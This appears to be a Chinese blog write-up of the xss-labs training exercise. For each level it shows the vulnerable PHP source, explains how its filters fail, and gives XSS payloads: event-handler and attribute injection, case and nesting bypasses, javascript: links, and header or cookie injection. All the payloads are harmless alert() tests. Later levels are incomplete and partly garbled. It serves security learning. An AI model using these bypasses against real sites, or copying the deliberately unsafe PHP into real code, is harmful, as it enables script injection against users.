其他分享
首页 > 其他分享> > xss_labs练习

xss_labs练习

作者:互联网

第一关

源码分析

$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";  //直接输出,无任何过滤措施

构造payload


第二关

源码分析

$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword  value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>

构造payload


第三关

源码分析

$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword  value='".htmlspecialchars($str)."'>	
<input type=submit name=submit value=搜索 />
</form>
</center>";

参数输入后,被传到h2和input标签中输出,在h2中被转义,无法执行代码;在input标签中虽然被转义,但是htmlspecialchars()函数默认是不过滤单引号的,恰好value是用的单引号,可在input中闭合单引号来构造语句

构造payload


第四关

源码分析

$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';

参数输入后,被传到h2和input标签中输出,在h2中被转义,无法执行代码;在input标签中将尖括号替换为空,我们可以使用不需要尖括号的代码来触发xss

构造payload


第五关

源码分析

$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';

参数输入后,被传到h2和input标签中输出,在h2中被转义,无法执行代码;在input标签中将<script和on进行了替换,且strtolower函数使得不能使用大小写来绕过<script和on的替换,所以不能使用事件属性的标签,可以闭合掉input标签,构造新的触发xss代码

构造payload


第六关

源码分析

$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';

参数输入后,被传到h2和input标签中输出,在h2中被转义,无法执行代码;在input标签中将<script、on、src、href进行了替换,因此标签是用不了了,但是这次输入参数没有像上一关过滤大小写,因此可以利用这一点来触发xss

构造payload

  • " Onclick="alert(6)

第七关

源码分析

$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';

参数输入后过滤了大小写,被传到h2和input标签中输出,在h2中被转义,无法执行代码,在input标签中将<script、on、data、src、href替换成空字符,突破点在这里,可以用嵌套来触发xss

构造payload

  • " oonnmouseover="alert(7)

第八关

源码分析

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
 echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';//BR用于生成换行回车的符号
?>

参数输入后过滤了大小写,被传到input和center标签中输出,在input中将script、on、data、src、href替换成特殊字符,双引号替换成实体符号,并在最后输出的value处做了转义处理,这里已经没有什么可以突破的点了;
在center处虽然也会收到<script、on、data、src、href替换成特殊字符,双引号替换成实体符号,但是输出点在标签
内,通过编码绕过对script的替换来构造payload

构造payload

  • javascript:alert(8)

第九关

源码分析

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{
  echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
        }
else
{
  echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>

参数输入后过滤了大小写,被传到center和input标签中输出,在input中将script、on、data、src、href替换成特殊字符,双引号替换成实体符号,并在最后输出的value处做了转义处理,这里已经没有什么可以突破的点了;
在center处虽然也会收到<script、on、data、src、href替换成特殊字符,双引号替换成实体符号,但是输出点在标签
内,只是有个输出条件:就是输入的链接里包含有http://,通过编码绕过对script的替换来构造payload

构造payload

  • javascript:alert(9)//http://

第十关

源码分析

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level10.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>

参数输入后其中一个直接被实体化过滤,另一个表单中参数在input标签内被过滤了尖括号并隐藏了表单

构造payload

  • &t_sort=abc" onclick=alert(10) type="text"

第十一关

源码分析

?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level11.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>

通过源码我们可知道keyword和t_sort参数是没有触发xss的可能性了。变量$str33来源于referer中,只过滤了尖括号。

构造payload

  • ” type='text' onclick="alert(11)

第十二关

源码分析

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ua"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level12.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>

和上一关一样,只是注入点在User_Agent处

构造payload

  • " type='text' onclick="alert(12)


第十三关

源码分析

<?php 
setcookie("user", "call me maybe?", time()+3600);
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_cook"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

和上一关一样,只是注入点在cookie处的user属性中

构造payload

  • user=" type="text" onclick=alert(13)//

第十四关

源码分析

<html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<title>欢迎来到level14</title>
</head>
<body>
<h1 align=center>欢迎来到level14</h1>
<center><iframe name="leftframe" marginwidth=10 marginheight=10 src="http://www.exifviewer.org/" frameborder=no width="80%" scrolling="no" height=80%></iframe></center><center>这关成功后不会自动跳转。成功者<a href=/xss/level15.php?src=1.gif>点我进level15</a></center>
</body>
</html>

本关暂时不知道该怎么解


第十五关

源码分析

``'; ?>`

源代码里输出点只有一个关于URL的ng-include输出。,ng-include 指令用于包含外部的 HTML 文件,包含的内容将作为指定元素的子节点。ng-include 属性的值可以是一个表达式,返回一个文件名。默认情况下,包含的文件需要包含在同一个域名下。所以这里就用来包含其他关的页面来触发弹窗,徐泽第一关的页面,因为不需要过滤。
## 构造payload
- src="level1.php?name=<img src=a one rror=alert(15)>"
![](https://www.icode9.com/i/l/?n=22&i=blog/2270680/202202/2270680-20220207141759096-1774821343.png)

---
# 第十六关
## 源码分析
".$str5.""; ?>
payload的长度:".strlen($str5).""; ?> ``` 两处输出点,都过滤了script、空格,但可以选择用其他标签来替代script和换行、回车替代空格

构造payload

  • keyword=<img%0asrc=x%0aonerror=alert(16)>

第十七关

代码分析

构造payload

标签:xss,练习,replace,labs,源码,str,input,htmlspecialchars,payload
来源: https://www.cnblogs.com/ceiling-/p/15852891.html